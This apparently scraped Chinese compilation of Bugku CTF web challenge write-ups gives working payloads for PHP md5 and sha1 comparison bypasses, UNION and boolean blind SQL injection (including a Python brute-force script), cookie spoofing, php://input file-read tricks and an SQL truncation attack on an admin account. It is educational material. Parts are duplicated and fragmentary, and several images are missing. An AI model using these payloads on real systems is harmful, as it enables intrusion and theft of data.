//转自
http://www.zjzhhb.com/archives/190
打开网页
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
尝试各种解密解码格式都没有效果,可以观察到整个字符串是d41d8cd98f00b204e9800998ecf8427e的两段重复,其实是MD5加密,最后再揭晓。
那现在怎么办呢,按照题目 备
份是个好习惯,是让我们寻找 .bak文件的,也就是说
存在某个文件的.bak文件可以访问,那就试试 http://120.24.86.145:8002/web16/index.php.bak,就拿到了提示文件,好确实有点让新手小白有点难以接受,
这里想推荐一航大佬的一款源码泄露工具,可以自动访问常见的CTF线索文件,如果返回正常说明文件存在。下载地址 https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
运行效果:
我们可以看出有 index.php 和index.php.bak 的状态码为200 ,说明文件存在。
文件下载下来,这里用sublim打开:
include_once “flag.php”;
ini_set(“display_errors”, 0);//设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
$str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);//strstr(str1,str2) 字符串str1中搜索str2,如果存在则返回str2及str2以后得剩余部分;
$str = substr($str,1);//php 得substr() 这里省略了第三个参数 长度,所以从第一个开始截取到最后;
$str = str_replace(‘key’,”,$str);// str_replace("world","Shanghai","Hello world!") 把hello world里面得world换成shanghai
parse_str($str);//把查询字符串解析到变量中:
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag.”取得flag”;
}
?>
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,
如果md5加密的值一样而未加密的值不同,就输出flag.
有两种方法绕过:
1,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2,利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
最后看看d41d8cd98f00b204e9800998ecf8427e是什么意思,拿到MD5解密试一下,结果为NULL,也就是说这是NULL的MD5值,因为默认是没有传入key1和key2的,这两个值也就是null.
解法一:手工注入
输入1,2,3分别能查到1,2,3号学生的成绩
SQL注入应该没跑了
输入1’返回异常,输入1’–+返回异常,
输入1’ #或者1’-- +返回正常,看来过滤了–+
观察,表貌似有四列(名字,Math,English,Chinese),
输入1’ order by 4#返回正常,
输入1’ order by 5#返回异常,看来的确是4列
接下来就开始暴库名、表名、字段名
尝试联合查询,记得把前面的查询数据置空,写成id=-1即可,显示正常,说明确确实实存在这四列数据
我们先手遍历一遍 id=-1’ union select 1,2,3,4#
前面的截断掉,数字无所谓,大一点或者0也可
发现有四个表且都有回显
于是 就开始爆破吧
首先爆库名:通过id=-1’ union select 1,2,3,database()#得到数据库名字skctf_flag
然后爆表:通过使用 id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到表名:fl4g,sc
接下来我们就要暴字段了
通过id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# //这里需要用16进制绕过
得到字段skctf_flag
最后就是查询数据了,通过使用:id=-1’ union select 1,2,3,skctf_flag from fl4g#
----------------------------------------------------------
------------------------------------------------------
\3. python sql盲注
通过构造id=1’ and 1=1#或返回成绩,id=1’ and 1=2#不会返回成绩。可以肯定这道题可以利用布尔盲注
脚本
# -*- coding:utf-8 -*-
import requests
import re
url = "http://120.24.86.145:8002/chengjidan/index.php"
base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"
information=""
for m in range(1,50):
for i in range(32,129):
post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
r = requests.post(url,post_data)
resultarr = re.findall(r"(.+?) ",r.text)
result = ''.join(resultarr)
#print result
#print r.text
#print post_data
if '60' not in result:
information += chr(i)
break
print information
payload从上倒下依次是为了得到数据库名字,flag表名,flag字段名,flag
截图
爆破数据库名
爆破表名
爆破flag字段名
爆破flag
-------------------------------------------------------
知识点:
MySQL中information_schema是什么
wordpress主机,博客主机
大家在安装或使用MYSQL时,会发现除了自己安装的数据库以外,还有一个information_schema数据库。 information_schema数据库是做什么用的呢,使用WordPress博客的朋友可能会想,是不是安装模板添加的数据库呀?看完本片文章 后,你就会对information_schema数据库有所了解。
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
information_schema数据库表说明:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
21、秋名山老司机
22、速度要快**
这道题好坑的说……
一开始点开网页源代码,说让我post传一个margin过去,毫无思路……用burpsuite抓包看看
哇塞,在repeater里看到了什么!
惊喜!显然是个base64编码,赶快去解码一下,得到了:
咦好简单哦,半信半疑的把给的flag交了上去……Incorrect code……
(懵逼脸
虽然觉得不会这么简单……可是???????
------------------------------------------------------------------------正确思路----------------------------------------------------------------------------
跑到网上看大佬们写的wp,知道repeater里的那个让我惊喜的flag值居然在变……它在变……go了几发终于死心,真的会变嘤;
无可奈何开始写脚本……
先贴出代码:
import requests
import base64
url="http://120.24.86.145:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里
mid=base64.b64decode(headers['flag'])
mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的
flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去
从burpsuite中我们可以知道,我们看到的那个flag肯定是可以得到答案的,但是让人纠结的地方就是会变而已;
下一步我们也知道了这个flag进行了base64编码,只要进行解码就可以了;
根据这些开始写脚本,详见代码中的注释;
跑完就出真正的flag了
---------------------------------------------------------------------------------------------------------------------------------------我是分割线哇
注:
没有加mid=mid.decode()那一步时一直报错;
——是因为字符串有byte类型和str类型,有时操作数类型和操作类型不匹配就会报错……这时候就要把类型转换一下(无论是转换操作数还是操作都行,只要两者匹配
一个简单的方法:
1、byte型转str型
mid=mid.decode()
2、str型转byte型
mid=mid.encode()
23、cookies欺骗 **
解题思路:
打开链接是一串没有意义的字符串,查看源码没有发现什么
观察url ,发现 a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2
出现一行代码,试一下line=3显示了不同的代码
一个个试太麻烦,上脚本将index.php的源码读取出来
import requests
a=30
for i in range(a):
url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text
最后读取出来的源码
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //看这里
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php,别忘了编码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WbnJSqgl-1590199404938)(C:\Users\19674\AppData\Roaming\Typora\typora-user-images\image-20200510170212328.png)]
24、BUGku nerer give up**
查看源码
有个1p.html的提示
尝试
http://123.206.87.240:8006/test/hello.php?id=1p.html
http://123.206.87.240:8006/test/1p.html
。。。。
会自动跳转到bugku首页
直接抓包看
发现words后面是一串加密的代码
Url解密试试
又是加密的,base64解密试试
再url解密试试
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
代码分析一下
- 如果GET中没有id就header跳转
- 变量id等于get传入的id值
- 变量a等于get传入的a值
- 变量b等于get传入的b值
- 如果a中存在 . 就输出no no no no
- 变量data等于文件代码执行读取变量a文件
- 如果data等于bugku is a nice plateform!并且id等于0并且b的长度大于5并且111加上b的第一位是1114并且b的第一位不是4,就返回一个flag的文档文件
综合一下就GET传入id,a,b三个值让a的值所访问的文件中有bugku is a nice plateform!并且id等于0,b的第一位不是4,并且绕过eregi函数
。。。。
试试直接访问文件
得到flag
试试,居然是真的。。。
这里我尝试使用双url编码绕过eregi函数发现没用。。。
?id=0&?b=%25%33%34%25%33%34%25%33%34%25%33%34%25%33%34&?a=bugku is a nice plateform!
27、正则?字符?**
字符?正则?
100
字符?正则?
http://120.24.86.145:8002/web10/
打开链接是一段代码
来分析分析
- preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。
举个栗子:
返回结果:
domain name is: runoob.com
-
trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符。举个栗子:
";
echo trim($str,"Hed!");
?>
执行结果:
Hello World!
llo Worl
-
接着来看正则表达式 (更多:https://blog.csdn.net/qq_26090065/article/details/81606045)
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
. 匹配除 "\n" 之外的任何单个字符
* 匹配它前面的表达式0次或多次,等价于{0,}
{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符
\/ 匹配 / ,这里的 \ 是为了转义
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
/i 表示不分大小写
总体来说,就是通过 id 传参,并且要符合上面的正则表达式,key就会显示,构造payload如下:
http://120.24.86.145:8002/web10/?id=keykeyaaaakey:/a/keya:
key 粗来了
29、login1(SKCTF)
题目链接:http://123.206.31.85:49163/ [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gvg78vrQ-1590199404975)(http://image.mamicode.com/info/201901/20190101184015650037.png)] 开始打开这个对话框 下面标注SQL约束攻击 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6zuOupnj-1590199404979)(http://image.mamicode.com/info/201901/20190101184015693007.png)] 开始时我就随便注册了一个账号密码 想看看这个验证框的工作原理,没想到随后弹出了一个对话框。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vj6hy57W-1590199404982)(http://image.mamicode.com/info/201901/20190101184015758440.png)] 这样就理解了题目当中的提示,我们需要伪造一个用户名和密码 让后台以为是管理员在登录这个网站。 先来理解一下所谓的sql约束攻击 SQL约束攻击:在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username=‘vampire ‘;
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。 这个解释有点复杂,其实通俗来讲 就是加入一个字符串字数不够就用空格来凑,如果一个字符串中有空格,SQLl识别的时候也会把空格直接过滤掉。(有点像高中时候编作文哈。。) 因此这道题就可以解出来了,我们注册一个用户,用户名就是“admin ”(admin后面多加几个空格) 密码符合要求就好。 登录之后即出现flag。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ojBNDUKD-1590199404984)(http://image.mamicode.com/info/201901/20190101184015815082.png)] 约束攻击不算是一个罕见的攻击方式。最常用的方法就是用来伪造管理员的身份。
30、你从哪里来
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bHpORKY6-1590199404991)(C:\Users\19674\AppData\Roaming\Typora\typora-user-images\image-20200511195432330.png)]
31、md5 collision(NUPT_CTF)**
漏洞描述
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
0e开头的md5和原值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
————————————————
版权声明:本文为CSDN博主「可乐'」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_30464257/article/details/81432446
32、程序员本地网站
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PRuZcN4W-1590199404993)(C:\Users\19674\AppData\Roaming\Typora\typora-user-images\image-20200511200817070.png)]
33、各种绕过**
highlight_file('flag.php');//对文件进行语法高亮显示。
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
进去看见是代码审计
我们发现只要使uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等
eeeeeemmmmm。。。这似乎是很熟悉的套路了吧 只要构造数组就可以了 所以
然后我们就得到flag了
34、web8**
This is flag:" ." $flag";
}
else
{
echo "sorry!
";
}
}
?>
可以看出这是一道代码审计的题目。
方法一:
先根据 题目提示 txt??? 访问 flag.txt,发现其中内容 flags
a c 是 指 f l a g . t x t 中 的 内 容 f l a g s , ac是指flag.txt中的内容flags, ac是指flag.txt中的内容flags,fn指的是flag.txt这个文件
Payload:
?ac=flags&fn=flag.txt
方法二:
想得到flag,要达到下面三个条件:
就要让ac的值不为空
f的值从文件fn中获取
ac的值要恒等于f的值
Payload:
?ac=123&fn=php://input
[POST]123
这就是本题的两种方法。
ity/Center)
然后我们就得到flag了
34、web8**
This is flag:" ." $flag";
}
else
{
echo "sorry!
";
}
}
?>
可以看出这是一道代码审计的题目。
方法一:
先根据 题目提示 txt??? 访问 flag.txt,发现其中内容 flags
a c 是 指 f l a g . t x t 中 的 内 容 f l a g s , ac是指flag.txt中的内容flags, ac是指flag.txt中的内容flags,fn指的是flag.txt这个文件
Payload:
?ac=flags&fn=flag.txt
方法二:
想得到flag,要达到下面三个条件:
就要让ac的值不为空
f的值从文件fn中获取
ac的值要恒等于f的值
Payload:
?ac=123&fn=php://input
[POST]123
这就是本题的两种方法。
你可能感兴趣的:(writeup)